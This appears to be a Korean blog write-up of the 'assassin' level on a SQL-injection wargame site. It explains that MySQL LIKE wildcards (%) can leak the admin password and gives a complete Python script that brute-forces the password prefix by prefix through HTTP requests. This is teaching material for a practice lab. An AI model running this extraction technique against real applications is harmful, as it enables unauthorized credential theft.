Web

LOS - assassin

secretjuju 2020. 5. 7. 02:29

screenshot1

' 이 차단되어 pw like '' 밖으로 나올 수 없게 되었다.

그러면 이 상태에서 꼼짝없이 admin의 pw를 구해야 하는가?

mysql에서 문자열을 이용해 검색을 할때 표준문자열을 이용하여 비밀번호를 유추할 수 있지 않을까?

리눅스에서 ls -l ~/a* 를 입력하면 자신의 홈디렉토리의 a로 시작하는 모든것을 볼 수 있듯이

mysql에도 %라는 이스케이프 문자가 존재한다.

a%는 a로 시작하는 문자열

%b는 b로 끝나는 문자열

%c% 는 c 가 들어가는 문자열을 뜻한다.

 

이걸 이용해서 admin의 비밀번호를 구하기 전 다른 계정과 시작하는게 같을 수 있으니 그걸 고려해서 파이썬으로 코드를 짜 보았다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
from bs4 import BeautifulSoup
 
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {
    "PHPSESSID":"나의의 PHPSESSID"
}
keywords = [""]
 
keyword_founded = False
 
while True:
    existList = []
    for i in range(33,127):
        if chr(i) == '#' or chr(i) == "%" or chr(i) == "_":
            continue
        for k in keywords:
            keyword = k + chr(i)
            payload = "?pw="+keyword+"%"
            #print(url+payload)
            res = requests.get(url=url+payload,cookies=cookies)
            soup = BeautifulSoup(res.text, "html.parser")
            pwExist = soup.find_all("h2")
            print(chr(i),end="")
            if pwExist:
                existList.append(keyword)
                print(keyword)
 
    print("\n");
    print(existList)
    keywords = existList
    for keyword in existList:
        payload = "?pw=" +keyword+ "%"
        res = requests.get(url=url + payload, cookies=cookies)
        if "Hello admin" in res.text:
            keyword_founded = True
            break
    if keyword_founded:
        break
 
print("keyword : "+keyword+"%");
cs
screenshot2

이렇게 나온 문자열을 pw에 넣으면 문제가 풀린다.

screenshot3